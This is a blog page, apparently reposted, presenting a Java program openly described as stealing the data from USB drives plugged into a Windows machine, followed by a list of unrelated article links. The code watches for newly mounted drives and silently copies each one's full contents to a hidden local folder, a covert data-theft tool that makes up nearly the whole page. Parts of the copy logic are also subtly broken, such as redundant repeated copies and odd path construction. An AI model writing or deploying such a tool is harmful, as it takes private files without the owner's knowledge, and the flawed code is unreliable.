当前位置: 首页 > news >正文

一个java小程序,盗取插入的U盘中的数据。

package cn.itheima.sh;

import java.io.*;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;

public class Demo {
    public static void main(String[] args) throws InterruptedException {
        steal("d:\\autoCopy");
    }


    //将插入的u盘的所有数据拷贝到指定目录中
    private static void steal(String dir) {
        File file = new File(dir);
        if (file.mkdirs())
            System.out.println("创建文件夹" + file.getPath() + "完成!");
        long sizeCopied = 0L;
        long totalFileSize = 0L;
        while (true) {
            String report = monitor();
            if (!report.equals("")) {
                System.out.println(report);
                if (report.contains("插入")) {
                    //根据当前时间创建一个文件夹
                    Date now = new Date();
                    SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
                    String s = sdf.format(now);
                    String diskName = report.substring(2, 4);
                    //检测u盘信息,
                    File disk = new File(diskName);
                    totalFileSize = disk.getTotalSpace() - disk.getFreeSpace();
                    System.out.println("正在拷贝中...");
                    sizeCopied += copyDisk(diskName, dir + "\\" + s);
                    System.out.print("拷贝结束!");
                    System.out.print("本次总拷贝:");
                    System.out.printf("%5.2f", sizeCopied * 1.0 / 1024 / 1024 / 1024);
                    System.out.println("GB");
                    System.out.print("完成度为");
                    System.out.printf("%5.2f", sizeCopied * 1.0 / totalFileSize * 100);
                    System.out.println("%");
                }
            }
        }
    }

    //拷贝文件或文件夹(不包括里面的内容)到指定的目录,返回已拷贝的数据的大小。
    private static long copyFile(String absoluteName, String dir) {
        long size = 0L;
        File file = new File(absoluteName);
        if (file.exists()) {
            String fileName = file.getName();
            File newFile = new File(dir + fileName);
            //1.如果是文件夹,就在指定目录下新建同名的文件夹
            if (file.isDirectory()) {
                if (newFile.mkdir()) {
                    System.out.println("创建文件夹" + newFile.getPath() + "完成!");
                }
            }
            //2.如果是文件,就拷贝里面的内容
            try {
                if (file.isFile()) {
                    BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
                    byte[] buf = new byte[1024];
                    int len;
                    BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(newFile));
                    while ((len = bis.read(buf, 0, buf.length)) != -1) {
                        bos.write(buf, 0, len);
                    }
                    bos.flush();
                    bos.close();
                    bis.close();
                    size = file.length();
                    System.out.println("拷贝文件" + absoluteName + "完成!");
                    return size;
                }
            } catch (Exception e) {
                System.out.println("系统异常,复制中断");
            }
        }

        return size;
    }

    //拷贝指定文件夹,从dir到dir2,dir不能是根目录,返回已拷贝的数据的总大小
    private static long copyDir(String dir, String dir2) {
        long size = 0L;
        size += copyFile(dir, dir2);
        File file = new File(dir);
        File[] subFiles = file.listFiles();
        if (subFiles != null) {
            for (File subFile : subFiles) {
                size += copyFile(dir, dir2);
                if (subFile.isDirectory()) {
                    copyDir(subFile.getPath(), dir2 + file.getName() + "\\" + file.getParentFile().getName());
                }
                if (subFile.isFile()) {
                    size += copyFile(subFile.getPath(), dir2 + file.getName() + "\\" + file.getParentFile().getName());
                }
            }
        }
        return size;
    }

    //拷贝指定磁盘到dir2中
    private static long copyDisk(String disk, String dir2) {
        long size = 0L;
        String diskName = disk.substring(0, 1);
        String target = dir2 + "\\" + diskName + "\\";
        File targetFile = new File(target);
        if (targetFile.mkdirs()) {
            System.out.println("创建文件夹" + targetFile.getPath() + "完成!");
        }
        File source = new File(disk);
        size += copyFile(source.getPath(), target);
        File[] files = source.listFiles();
        if (files != null) {
            for (File file : files) {
                size += copyDir(file.getPath(), target);
            }
        }
        return size;
    }

    //刷新磁盘列表
    private static ArrayList<File[]> flashDiskesArray(ArrayList<File[]> arrayList) {
        File[] files = File.listRoots();
        arrayList.add(files);
        ArrayList<File[]> newArrayList = null;
        if (arrayList.size() > 2) {
            newArrayList = new ArrayList<>();
            newArrayList.add(0, arrayList.get(arrayList.size() - 2));
            newArrayList.add(1, arrayList.get(arrayList.size() - 1));
        }
        return newArrayList;
    }

    //根据传入两个File数组,找出插入或弹出的盘符,并返回,如果没有就返回""
    private static String compare(File[] before, File[] now) {
        StringBuilder result = new StringBuilder("");
        if (before.length != now.length) {
            result.append(before.length > now.length ? "弹出" : "插入");
        }
        File[] longer = before.length > now.length ? before : now;
        File[] shorter = before.length < now.length ? before : now;
        for (File currentFile : longer) {
            Boolean findSameFile = false;
            for (File aShorter : shorter) {
                if (currentFile.compareTo(aShorter) == 0) {
                    findSameFile = true;
                }
            }
            //找到插入或弹出的盘符
            if (!findSameFile) {
                result.append(currentFile.getPath());
            }
        }
        return result.toString();
    }

    //监听系统中的磁盘添加或删除
    private static String monitor() {
        ArrayList<File[]> arrayList = new ArrayList<>();
        arrayList.add(File.listRoots());
        arrayList.add(File.listRoots());
        String result;
        while (true) {
            arrayList = flashDiskesArray(arrayList);
            result = compare(arrayList.get(0), arrayList.get(1));
            if (!result.equals("")) {
                break;
            }
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        return result;
    }


}

  

转载于:https://www.cnblogs.com/lixin4395/p/10506121.html

相关文章:

  • spring-data-jpa
  • react-hooks 实现简单的评论list
  • Proxy-Go v7.2 发布,一个端口一键开启 http(s)\ss\socks 服务
  • Cordova + Vue 实现点击两次退出应用
  • 解密敏捷自动化测试
  • JavaScript到底是面向对象还是基于对象?
  • JDBC的CRUD操作之PreparedStatement的保存操作
  • (译)计算距离、方位和更多经纬度之间的点
  • 4.11Python数据处理篇之Matplotlib系列(十一)---图例,网格,背景的设置
  • 苹果尝试转型手机可能不再是核心业务
  • selenium 之 Css Selector
  • 保守的国美再一次进击社交电商,前途未卜?
  • 自动化办公:python 操作Excel
  • 基于房源的画像分析
  • 防止视频资源被下载
  • Angular 2 DI - IoC DI - 1
  • Angular2开发踩坑系列-生产环境编译
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • cookie和session
  • CSS 专业技巧
  • Druid 在有赞的实践
  • JavaScript 基础知识 - 入门篇(一)
  • Laravel 中的一个后期静态绑定
  • Linux各目录及每个目录的详细介绍
  • Python打包系统简单入门
  • Spring-boot 启动时碰到的错误
  • 阿里云Kubernetes容器服务上体验Knative
  • 后端_ThinkPHP5
  • 深度解析利用ES6进行Promise封装总结
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 延迟脚本的方式
  • 在electron中实现跨域请求,无需更改服务器端设置
  • python最赚钱的4个方向,你最心动的是哪个?
  • ​软考-高级-信息系统项目管理师教程 第四版【第19章-配置与变更管理-思维导图】​
  • ###C语言程序设计-----C语言学习(6)#
  • #ifdef 的技巧用法
  • (175)FPGA门控时钟技术
  • (2)(2.10) LTM telemetry
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (八)光盘的挂载与解挂、挂载CentOS镜像、rpm安装软件详细学习笔记
  • (附源码)springboot 个人网页的网站 毕业设计031623
  • (附源码)ssm高校实验室 毕业设计 800008
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (一)Spring Cloud 直击微服务作用、架构应用、hystrix降级
  • (转)Android学习系列(31)--App自动化之使用Ant编译项目多渠道打包
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • (转载)从 Java 代码到 Java 堆
  • ./configure,make,make install的作用(转)
  • .Net IOC框架入门之一 Unity
  • .net 无限分类
  • .NET6 开发一个检查某些状态持续多长时间的类
  • .xml 下拉列表_RecyclerView嵌套recyclerview实现二级下拉列表,包含自定义IOS对话框...
  • /dev/sda2 is mounted; will not make a filesystem here!
  • :O)修改linux硬件时间